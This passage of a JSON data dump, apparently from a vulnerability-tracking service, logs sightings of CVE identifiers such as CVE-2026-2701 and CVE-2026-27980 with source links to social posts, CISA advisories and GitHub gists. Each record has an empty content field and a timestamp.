"1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2701", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mijffecf3y2o", "content": "", "creation_timestamp": "2026-04-02T14:15:55.178037Z"}, {"uuid": "d475afde-1f67-49fe-889b-aff47facc0fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-2701", "type": "seen", "source": "https://infosec.exchange/users/threatcodex/statuses/116335601728170417", "content": "", "creation_timestamp": "2026-04-02T14:33:27.758391Z"}, {"uuid": "74ab4f70-2db1-4e8e-98f0-07eec85fd1c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27825", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mijhumw7dl27", "content": "", "creation_timestamp": "2026-04-02T15:00:15.189968Z"}, {"uuid": "6fc99cea-5b94-4c50-92ea-985f3013c323", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-2701", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/116336249890679489", "content": "", "creation_timestamp": "2026-04-02T17:18:18.960681Z"}, {"uuid": "9c4c9488-690f-48db-8328-0644941a1442", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2701", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mijrwohifo2z", "content": "", "creation_timestamp": "2026-04-02T18:00:21.912685Z"}, {"uuid": "ca67381d-4a4c-4bf5-b6a8-9528e0eb5e34", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27663", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-092-01", "content": "", "creation_timestamp": "2026-04-02T10:00:00.000000Z"}, {"uuid": "94159f55-60d0-41e3-803b-8bcea298a652", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27664", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-092-01", "content": "", "creation_timestamp": "2026-04-02T10:00:00.000000Z"}, {"uuid": "404158d0-7893-4631-9ab3-1e2de4b58273", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-2701", "type": "seen", "source": "https://bsky.app/profile/cyberveille-ch.bsky.social/post/3mik2cnigal2s", "content": "", "creation_timestamp": "2026-04-02T20:30:12.901494Z"}, {"uuid": "c976a107-b5b9-4671-b406-4ba2333f76ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2701", "type": "seen", "source": "https://bsky.app/profile/shadowserver.bsky.social/post/3milghgzduc2g", "content": "", "creation_timestamp": "2026-04-03T09:40:23.566343Z"}, {"uuid": "3ce1c873-56e8-41de-8c80-bf922dcf7034", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2701", "type": "seen", "source": "https://bsky.app/profile/shadowserver.bsky.social/post/3milghkwbvs2g", "content": "", "creation_timestamp": "2026-04-03T09:40:24.730076Z"}, {"uuid": "91aac160-f4d2-4de5-a66e-716358581ae3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2701", "type": "seen", "source": "https://bsky.app/profile/shadowserver.bsky.social/post/3milghkwduc2g", "content": "", "creation_timestamp": "2026-04-03T09:40:25.887772Z"}, {"uuid": "0f6f4de5-bf61-419e-b319-dd461e159dd5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2701", "type": "seen", "source": "https://bsky.app/profile/shadowserver.bsky.social/post/3milghkwetk2g", "content": "", "creation_timestamp": "2026-04-03T09:40:27.054315Z"}, {"uuid": "c1d1e80a-9013-48ec-87ae-45589354d29e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2701", "type": "seen", "source": "https://infosec.exchange/users/shadowserver/statuses/116340118328175816", "content": "", "creation_timestamp": "2026-04-03T09:42:06.578339Z"}, {"uuid": "7cf1a7f4-361e-4f4c-b3f7-03607a791091", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2701", "type": "seen", "source": "https://bsky.app/profile/solomonneas.dev/post/3milof3qcgn2g", "content": "", "creation_timestamp": "2026-04-03T12:02:09.565590Z"}, {"uuid": "a004f265-754a-4652-98f0-45a905816068", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27655", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mim2dsq4oj26", "content": "", "creation_timestamp": "2026-04-03T15:36:11.402141Z"}, {"uuid": "e9a28a24-667e-45e9-8341-8aa4eb685f45", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27124", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mim3y7nole2z", "content": "", "creation_timestamp": "2026-04-03T16:05:29.616711Z"}, {"uuid": "c019a37e-7c76-4b56-8629-949437fe7fed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27971", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3mimmlh5z6k2p", "content": "", "creation_timestamp": "2026-04-03T21:02:46.340017Z"}, {"uuid": "e95fafc6-97e9-4424-a8a4-9a2f098fb3bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27634", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mimsrx2lih27", "content": "", "creation_timestamp": "2026-04-03T22:53:35.524378Z"}, {"uuid": "4c148193-931c-4733-be0e-c1ebbd7bc666", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27655", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3min6dcp5pb2v", "content": "", "creation_timestamp": "2026-04-04T02:20:09.157805Z"}, {"uuid": "47691b43-3d84-4fb4-8ca1-7b0944882c53", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2701", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3min6seoyp226", "content": "", "creation_timestamp": "2026-04-04T02:28:34.769228Z"}, {"uuid": "19c35e05-a438-400b-90f4-6bdc74d148c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27833", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3minapnnxep2t", "content": "", "creation_timestamp": "2026-04-04T03:02:51.060083Z"}, {"uuid": "f055cf12-d70c-4128-92af-718020bf1bd4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2701", "type": "seen", "source": "https://bsky.app/profile/eyalestrin.bsky.social/post/3mino27cdlk2u", "content": "", "creation_timestamp": "2026-04-04T07:01:23.449540Z"}, {"uuid": "3a5172a1-808f-428f-b6d5-3adbda9245b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2701", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3miptlkjj5e2j", "content": "", "creation_timestamp": "2026-04-05T03:45:54.155044Z"}, {"uuid": "b4acf4ce-57bb-4445-80db-07419672a642", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2713", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mipxqj3g4f2q", "content": "", "creation_timestamp": "2026-04-05T05:00:14.959960Z"}, {"uuid": "aefe0018-3e86-4483-8bb2-8a1e5f799d6e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2701", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3miqtoyoqq22z", "content": "", "creation_timestamp": "2026-04-05T13:20:29.754795Z"}, {"uuid": "6e0f6495-81ed-4b99-93d1-b31f840b239e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27876", "type": "seen", "source": "https://bsky.app/profile/opsmatters.com/post/3mis5wqsesg2i", "content": "", "creation_timestamp": "2026-04-06T01:56:26.707806Z"}, {"uuid": "2a680e31-8611-43a2-b6b4-7e0c7e220aea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27141", "type": "seen", "source": "https://bsky.app/profile/clankussy.abu.guru/post/3misfcuc5um2j", "content": "", "creation_timestamp": "2026-04-06T04:08:28.924663Z"}, {"uuid": "0a538634-2b28-4bae-8973-da31967ac4d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2701", "type": "seen", "source": "https://bsky.app/profile/opsmatters.com/post/3miukae62j42f", "content": "", "creation_timestamp": "2026-04-07T00:41:53.276951Z"}, {"uuid": "549f459b-1038-4ecc-93d7-7d9121885355", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27135", "type": "seen", "source": "https://gist.github.com/martinpitt/1824f4a9b0a29ff0c2fb3b1e2f3ddfa0", "content": "", "creation_timestamp": "2026-04-07T12:23:25.000000Z"}, {"uuid": "ca450f1a-ef75-473d-846d-aa1360c1e212", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/7b386ccb1a11d5503868dcf115c1e4c5", "content": "", "creation_timestamp": "2026-04-07T15:50:12.000000Z"}, {"uuid": "90f89189-ca85-4f27-948c-58a8dfcc0277", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/987cb52f689aa97b7ea9873b34f390b9", "content": "", "creation_timestamp": "2026-04-07T16:04:26.000000Z"}, {"uuid": "ff3532b1-7fcc-4595-b156-43d77b86c694", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/4d2650809775b8bc252bf1817a436c66", "content": "", "creation_timestamp": "2026-04-07T19:29:11.000000Z"}, {"uuid": "6fc51bda-b47f-46e3-9c84-67bf284cb89a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/76172cf837dacba593051c18153d1f09", "content": "", "creation_timestamp": "2026-04-07T19:41:31.000000Z"}, {"uuid": "e5ad707f-a107-413d-bc4b-09c4c571a685", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/7583743f8103d585d70ab902bdb5266b", "content": "", "creation_timestamp": "2026-04-07T19:50:48.000000Z"}, {"uuid": "6b3c6476-dd75-409f-a5a0-548aa6cc0afd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/fe332fbf6d4b641957c4a35018b555e9", "content": "", "creation_timestamp": "2026-04-07T19:57:00.000000Z"}, {"uuid": "3055a752-9306-4ca3-9365-c1931a824e1f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/3b4a775e5ae97b3ecb172def78f39654", "content": "", "creation_timestamp": "2026-04-07T20:10:29.000000Z"}, {"uuid": "998ba525-954c-43bb-998f-61e97ecb6b74", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/42f60f228004c87c54b93d34e0197267", "content": "", "creation_timestamp": "2026-04-07T20:18:49.000000Z"}, {"uuid": "15fc2f56-05fa-4fc2-9326-066aad67ccb0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/2d38aa39cfc5efb251357e7ada42e7a7", "content": "", "creation_timestamp": "2026-04-07T20:30:05.000000Z"}, {"uuid": "7f1bb92f-e00e-4c89-9e7c-5a34ef2f0f93", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27732", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3miwmoiec4h2g", "content": "", "creation_timestamp": "2026-04-07T20:31:04.737401Z"}, {"uuid": "43258d58-4d9d-45e5-b3d3-268a2b232025", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/375c7683b1e6ff964b123df1f9c8f0d1", "content": "", "creation_timestamp": "2026-04-07T20:40:57.000000Z"}, {"uuid": "8ba5fe1e-9459-48ff-89b5-58d09816c6ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/e02f820df37d498e3d6d8a06ee2c88bb", "content": "", "creation_timestamp": "2026-04-07T20:51:13.000000Z"}, {"uuid": "937d8f46-5a3a-4564-bdef-202d5f4ee885", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/de108b2a9e5495a3d5f302593b7876dc", "content": "", "creation_timestamp": "2026-04-07T21:00:25.000000Z"}, {"uuid": "ab70f7f4-9d39-4668-8478-3abfa71291c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/587042e57901522bf7161d502d88afa4", "content": "", "creation_timestamp": "2026-04-07T21:07:20.000000Z"}, {"uuid": "fba1a145-8c63-44a9-b1f5-b5ac9ec47518", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/9422bc81d571f65c5ab4f918625050aa", "content": "", "creation_timestamp": "2026-04-07T21:17:02.000000Z"}, {"uuid": "4aee0821-8cba-4a7c-86e2-2e0e3a9ad39c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/490fbb2850a196e2ddc11729ba0fb210", "content": "", "creation_timestamp": "2026-04-07T21:30:16.000000Z"}, {"uuid": "a63bb688-eccc-4bbc-836e-b6ad1e4859a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/c03f0ae41a8b6a5f4d74f9ae89a0973b", "content": "", "creation_timestamp": "2026-04-07T21:38:38.000000Z"}, {"uuid": "465e1e09-3912-494c-bd1f-751c775c482a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/895754b13828c3072ce9b1ffa4d3b13f", "content": "", "creation_timestamp": "2026-04-07T21:43:25.000000Z"}, {"uuid": "13cf333f-b8f3-46db-826e-aec921dfe401", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/87d4bc0644080f0a89fe391d5b7666d8", "content": "", "creation_timestamp": "2026-04-07T21:51:33.000000Z"}, {"uuid": "d0c85506-8dca-4fbf-9957-8c8e6ef8f69b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/b5c8f093c72a22b726b118eb1d3af4aa", "content": "", "creation_timestamp": "2026-04-07T22:01:45.000000Z"}, {"uuid": "98eb551b-9477-42c9-8aad-0656947de840", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/227868d4bd1a3701e23c0d3e39c93e65", "content": "", "creation_timestamp": "2026-04-07T22:13:47.000000Z"}, {"uuid": "c32e8849-b6ac-4dba-9944-6d5cb4a07dbb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/7e1ced90c0074c53418f8b9c3216f964", "content": "", "creation_timestamp": "2026-04-07T22:21:08.000000Z"}, {"uuid": "de99c5cd-df15-458a-8619-594c30e8c293", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/fab3e7b0fce834a1e7cf113404a109bb", "content": "", "creation_timestamp": "2026-04-07T22:31:03.000000Z"}, {"uuid": "ef11abca-4c3e-4fc1-92b8-614ee0f9859c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/c290f857d9cbab5c4f5d6acd0983b34c", "content": "", "creation_timestamp": "2026-04-07T22:36:05.000000Z"}, {"uuid": "911cff68-7a86-49c5-ae4c-3b4a5d779e80", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/4ebd9540a59f160eaf0ab10dd8973178", "content": "", "creation_timestamp": "2026-04-07T22:42:18.000000Z"}, {"uuid": "0280ecd7-3339-4cd9-bb82-523ab7d8822e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/6376d2f070f638668c2e3e23e3138a94", "content": "", "creation_timestamp": "2026-04-07T23:04:21.000000Z"}, {"uuid": "109bf67e-9ca7-476e-8fbd-a8ff0b631fe4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/bd8201216fc1f3d4c3bdacd84a006ed3", "content": "", "creation_timestamp": "2026-04-07T23:15:43.000000Z"}, {"uuid": "a1729333-ad98-4cb7-aebf-fa50097ddf6f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/a1a63c6c781e2b89bf65dded6c6b4423", "content": "", "creation_timestamp": "2026-04-07T23:24:02.000000Z"}, {"uuid": "1c962120-3485-4214-932d-43c6fe352253", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/1056d00155e01be33714c437ead1dcb2", "content": "", "creation_timestamp": "2026-04-07T23:32:57.000000Z"}, {"uuid": "94914bab-22c4-4119-a206-bbe63cc604ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/865cc4b5e7b317a420e890ba734bb05f", "content": "", "creation_timestamp": "2026-04-07T23:43:19.000000Z"}, {"uuid": "0571f3c6-772f-4270-94e6-42104709427f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/8a9eb7e17a4fbb18512b0f4d25bd9fab", "content": "", "creation_timestamp": "2026-04-07T23:56:20.000000Z"}, {"uuid": "e61a784f-0f26-424d-9025-184d4f824c5b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/119884dc2bbc61bdbc0998d1d958becf", "content": "", "creation_timestamp": "2026-04-08T00:05:45.000000Z"}, {"uuid": "04eba66f-40e2-4e8f-ab09-7ca9be42acdc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/4120e87e196177d71d0618303f95cdb7", "content": "", "creation_timestamp": "2026-04-08T00:15:03.000000Z"}, {"uuid": "7846bc63-ad04-45fd-96ae-4effc53c46e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/8b106dfd350d212877aaff378ea78050", "content": "", "creation_timestamp": "2026-04-08T00:28:48.000000Z"}, {"uuid": "062051e7-2eb5-41f7-9271-56de771ddfca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/8c41e3c7cc1e1e22bbf8f481fdc7af02", "content": "", "creation_timestamp": "2026-04-08T00:34:43.000000Z"}, {"uuid": "bf9abe06-7ec6-419d-851d-aea9b534b1d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/bfb1a91b8eedd06d60896abacb2f295c", "content": "", "creation_timestamp": "2026-04-08T00:41:34.000000Z"}, {"uuid": "b0465b0b-9ff2-41fd-a0d9-ffbdd47a5f4c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/67bea02f2651fd308d37575eb326b3ad", "content": "", "creation_timestamp": "2026-04-08T00:46:44.000000Z"}, {"uuid": "3f0b3a04-ba8f-42c2-ab71-eb1235b2643b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/a342cf13049d0136c1818211736b0f16", "content": "", "creation_timestamp": "2026-04-08T00:58:25.000000Z"}, {"uuid": "556a0ec4-a296-421d-99b2-9b516afcd583", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/0c927beb4b827b480f607ce2623c417c", "content": "", "creation_timestamp": "2026-04-08T01:06:54.000000Z"}, {"uuid": "6e7004db-156f-4450-a2de-a4ca5e4d496b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/301589e15b8ffa6fdf0af590dd74a0d1", "content": "", "creation_timestamp": "2026-04-08T01:16:06.000000Z"}, {"uuid": "cbeec779-2fe9-4126-80e4-97cda044b545", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/c46853204af26d3e5feabd5406925de8", "content": "", "creation_timestamp": "2026-04-08T01:23:45.000000Z"}, {"uuid": "2be1dbb6-afd7-4171-a6c4-62b9f3207f61", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/1079c0f45de566781e4de33debc0bc5c", "content": "", "creation_timestamp": "2026-04-08T01:31:19.000000Z"}, {"uuid": "96300a4d-f326-4a73-abaa-3662ce460b26", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/ecebc2dcffb545f2efbdaa2482f41a84", "content": "", "creation_timestamp": "2026-04-08T01:41:53.000000Z"}, {"uuid": "15f47be2-beec-4546-9358-4acc5dacd0ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/138481b66b57b5e7fda87a91f5e2e6dc", "content": "", "creation_timestamp": "2026-04-08T01:55:45.000000Z"}, {"uuid": "8a948a67-accf-42f9-bc72-801b85666755", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/c2df95b30314a5f6170d756bce37bb2c", "content": "", "creation_timestamp": "2026-04-08T02:06:35.000000Z"}, 